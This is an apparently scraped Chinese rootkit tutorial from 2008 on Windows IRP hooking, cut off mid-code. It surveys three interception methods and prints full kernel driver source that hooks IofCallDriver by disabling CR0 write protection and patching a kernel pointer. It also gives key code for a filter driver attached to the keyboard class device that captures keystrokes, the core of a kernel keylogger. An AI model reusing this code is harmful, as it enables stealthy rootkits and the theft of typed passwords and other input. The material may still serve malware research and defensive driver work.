rootkit hook 之五IRP Hook全家福.docx
《rootkit hook 之五IRP Hook全家福.docx》由会员分享,可在线阅读,更多相关《rootkit hook 之五IRP Hook全家福.docx(18页珍藏版)》请在冰豆网上搜索。
rootkithook之五IRPHook全家福
标题:
【原创】rootkithook之[五]--IRPHook全家福
作者:
combojiang
时间:
2008-02-22,16:
42:
48
链接:
年过得真快,马上过完了。
我们今天一起来汇总看看IRP HOOK的方法。
又是长篇大论,别着急,慢慢看。
谈到irp拦截,基本上有三种方式,一种是在起点拦截,一种是在半路拦截,一种是在终点拦截。
下面我们会详细分析这几种方式哪些是有效的,哪种是无效的。
要理解这几种拦截,我们需要看看irp地传送过程。
我们看下图的标准模型。
请看大屏幕。
注意这个标准模型中,并不是每种IRP都经过这些步骤,由于设备类型和IRP种类的不同某些步骤会改变或根本不存在。
一、IRP创建。
由于IRP开始于某个实体调用I/O管理器函数创建它,可以使用下面任何一种函数创建IRP:
IoBuildAsynchronousFsdRequest 创建异步IRP(不需要等待其完成)。
该函数和下一个函数仅适用于创建某些类型的IRP。
IoBuildSynchronousFsdRequest 创建同步IRP(需要等待其完成)。
IoBuildDeviceIoControlRequest 创建一个同步IRP_MJ_DEVICE_CONTROL或IRP_MJ_INTERNAL_DEVICE_CONTROL请求。
IoAllocateIrp 创建上面三个函数不支持的其它种类的IRP。
由此我们知道,第一种起点拦截的办法就清楚了,那就是HOOK这几个IRP的创建函数。
由于函数有多个,并且此时irp虽然已经创建,但是还没有进程初始化,也就是说irp堆栈
单元的内容还没有填充。
因此起点拦截的办法是得不到有用信息的。
这种办法无效。
二、发往派遣例程
那么irp是什么时间初始化的呢?
创建完IRP后,你可以调用IoGetNextIrpStackLocation函数获得该IRP第一个堆栈单元的指针。
然后初始化这个堆栈单元。
在初始化过程的最后,你需要填充MajorFunction代码。
堆栈单元初始化完成后,就可以调用IoCallDriver函数把IRP发送到设备驱动程序了。
IoCallDriver是一个宏,它内部实现中调用了IofCallDriver. 因此,到这里便有了第二种拦截方法,即中途拦截。
三、派遣例程的作用
1)在派遣例程中完成irp。
通常我们做的过滤驱动或者一些简单的驱动,都是这么完成的,直接在派遣例程中返回。
不需要经过后面的步骤,派遣函数立即完成该IRP。
例如:
NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp, IO_NO_INCREMENT );
return Irp->IoStatus.Status;
}
派遣例程把该IRP传递到处于同一堆栈的下层驱动程序 。
在这种情况下,通过调用IcCallDriver可以将irp传递到其他的驱动,或者传递到下一层驱动,这时irp变成其他驱动要处理的事情,如果其他驱动的派遣例程处理了irp,就类似1)的情况了,如果没处理,继续向下传,如果中间FDO没有处理,最后传到最低层的硬件驱动上去,也就是我们所谓的PDO. 这个时候,I/O管理器就调用一次StartIo例程,硬件抽象层会通过硬件中断ISR,一个ISR最可能做的事就是调度DPC例程(推迟过程调用)。
最后完成这个IRP.,回到I/O管理器。
排队该IRP以便由这个驱动程序中的其它例程来处理 。
例如:
NTSTATUS DispatchXxx(...)
{
...
IoMarkIrpPending(Irp);
IoStartPacket(device, Irp, NULL, NULL);
return STATUS_PENDING;
}
如果设备正忙,IoStartPacket就把请求放到队列中。
如果设备空闲,IoStartPacket将把社
备置成忙并调用StartIo例程。
接下来类似于2)中描述的那样,完成这样一个过程。
我们写驱动的时候,对感兴趣的irp,我们都会写派遣例程来进行处理。
如果我们把派遣例程给替换了,便有了第三种的irp拦截。
对于第三种的拦截,有两种办法:
一种是写一个过滤驱动放在要拦截的驱动的上层,这是一种安全的办法。
例如:
如果我们想拦截系统的文件操作,就必须拦截I/O管理器发向文件系统驱动程序的IRP。
而拦 截IRP最简单的方法莫过于创建一个上层过滤器设备对象并将之加入文件系统设备所在的设备堆栈中。
具体方法如下:
首先通过IoCreateDevice创 建自己的设备对象,然后调用IoGetDeviceObjectPointer来得到文件系统设备(Ntfs,Fastfat,Rdr或Mrxsmb, Cdfs)对象的指针,最后通过IoAttachDeviceToDeviceStack或者IoAttachDevice等函数,将自己的设备放到设备堆栈上成为一个过滤器。
这是拦截IRP最常用也是最保险的方法。
还有一种就是直接替换要拦截驱动对象的派遣例程函数表。
它的方法更简单且更为直接。
例如:
如果我们想拦截系统的文件操作,它先通过ObReferenceObjectByName得到文件系统驱动对象的指针。
然后将驱动对象中 MajorFunction数组中的打开,关闭,清除,设置文件信息,和写入调度例程入口地址改为我们驱动中相应钩子函数的入口地址来达到拦截IRP的目的。
总结:
1) 可用办法之一:
hook IofCallDriver实现irp 拦截。
2) 可用办法之二:
写一个过滤驱动,挂在你要hook其irp的那个驱动之上。
3) 可用办法之三:
直接修改你要hook其irp的那个驱动的MajorFunction函数表。
针对于三种可用方法,我们分别给出例子说明:
方法一例子:
没必要再细写,只需要注意一点:
lkd> u IofCallDriver
nt!
IofCallDriver:
804ef0f6 ff2500c85480 jmp dword ptr [nt!
pIofCallDriver (8054c800)]
804ef0fc cc int 3
804ef0fd cc int 3
804ef0fe cc int 3
这里我们看到IofCallDriver的地址在开头偏移2个字节地方。
看明白这个,后面代码的写法就能搞清楚。
#include "ntddk.h"
typedef NTSTATUS (FASTCALL
*pIofCallDriver)(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp);
pIofCallDriver old_piofcalldriver;
UNICODE_STRING SymbolicLinkName;
PDRIVER_OBJECT g_drvobj;
UNICODE_STRING DeviceName;
PDEVICE_OBJECT deviceObject;
ULONG oData;
#define IOCTL_DISABLE CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8101,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_ENABLE CTL_CODE(FILE_DEVICE_UNKNOWN ,0x8100,METHOD_BUFFERED,FILE_ANY_ACCESS)
NTSTATUS FASTCALL
NewpIofCallDriver(
IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp
)
{
NTSTATUS stat;
DbgPrint("Hacked Great!
");
__asm
{
mov ecx,DeviceObject
mov edx,Irp
Call old_piofcalldriver
mov stat,eax
}
return stat;
}
NTSTATUS DriverIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION pisl;
NTSTATUS ns = STATUS_UNSUCCESSFUL;
ULONG BuffSize, DataSize;
PVOID pBuff, pData,pInout;
KIRQL OldIrql;
ULONG i;
pisl = IoGetCurrentIrpStackLocation (Irp);
BuffSize = pisl->Parameters.DeviceIoControl.OutputBufferLength;
pBuff = Irp->AssociatedIrp.SystemBuffer;
Irp->IoStatus.Information = 0;
switch(pisl->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_DISABLE:
{
DbgPrint("IOCTL_DISABLE");
ns = STATUS_SUCCESS;
}
break;
case IOCTL_ENABLE:
{
DbgPrint("IOCTL_ENABLE");
ns = STATUS_SUCCESS;
}
break;
}
Irp->IoStatus.Status = ns;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ns;
}
NTSTATUS DrivercreateClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void UnHookpIofCallDriver()
{
KIRQL oldIrql;
ULONG addr = (ULONG)IofCallDriver;
oldIrql = KeRaiseIrqlToDpcLevel();
__asm
{
mov eax,cr0
mov oData,eax
and eax,0xffffffff
mov cr0,eax
mov eax,addr
mov esi,[eax+2]
mov eax,old_piofcalldriver
mov dword ptr [esi],eax
mov eax,oData
mov cr0,eax
}
KeLowerIrql(oldIrql);
return ;
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UnHookpIofCallDriver();
IoDeleteSymbolicLink(&SymbolicLinkName);
IoDeleteDevice(deviceObject);
}
NTSTATUS DriverClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
return DrivercreateClose(DeviceObject,Irp);
}
NTSTATUS IoComplete(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
void HookpIofCallDriver()
{
KIRQL oldIrql;
ULONG addr = (ULONG)IofCallDriver;
__asm
{
mov eax,addr
mov esi,[eax+2]
mov eax,[esi]
mov old_piofcalldriver,eax
}
oldIrql = KeRaiseIrqlToDpcLevel();
__asm
{
mov eax,cr0
mov oData,eax
and eax,0xffffffff
mov cr0,eax
mov eax,addr
mov esi,[eax+2]
mov dword ptr [esi],offset NewpIofCallDriver
mov eax,oData
mov cr0,eax
}
KeLowerIrql(oldIrql);
return ;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
PDRIVER_DISPATCH *ppdd;
ULONG i;
PCWSTR dDeviceName = L"\\Device\\irphook";
PCWSTR dSymbolicLinkName = L"\\DosDevices\\irphook";
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject);
if (!
NT_SUCCESS(status)) return status;
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
DriverObject->DriverUnload = DriverUnload;
ppdd = DriverObject->MajorFunction;
for(i =0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
ppdd[i] = IoComplete;
ppdd [IRP_MJ_CREATE] = DrivercreateClose;
ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
g_drvobj = DriverObject;
HookpIofCallDriver();
return status;
}
方法二例子
这个例子比较长,我们只看关键代码并说明.
1。
将自己挂接到"\\Device\\KeyboardClass0"设备上
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Entering Hook Routine...\n");
PDEVICE_OBJECT pKeyboardDeviceObject;
NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);
if(!
NT_SUCCESS(status))
return status;
DbgPrint("Created keyboard device successfully...\n");
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set succesfully...\n");
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
DbgPrint("Device Extension Initialized...\n");
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE );
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
DbgPrint("Filter Device Attached Successfully...\n");
return STATUS_SUCCESS;
}
//我们感兴趣的irp处理。
由于我们要处理的按键信息,需要等底层驱动处理完成返回后才能取回
//按键值,因此,我们设置完成例程,用于底层驱动完成irp后回调我们的例程。
我们设置好完成例//程后,就把irp传到底层驱动进行处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
DbgPrint("Entering DispatchRead Routine...\n");
PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
PIO_STACK_LOCATION nextIrpStack = IoGetNextIrpStackLocation(pIrp);
*nextIrpStack = *currentIrpStack;
IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
numPendingIrps++;
DbgPrint("Tagged keyboard 'read' IRP... Passing IRP down the stack... \n");
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
}
//这是完成例程,我们在这里处理得到的按键信息。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)
{
DbgPrint("Entering OnReadCompletion Routine...\n");
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status == STATUS_SUCCESS)
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPU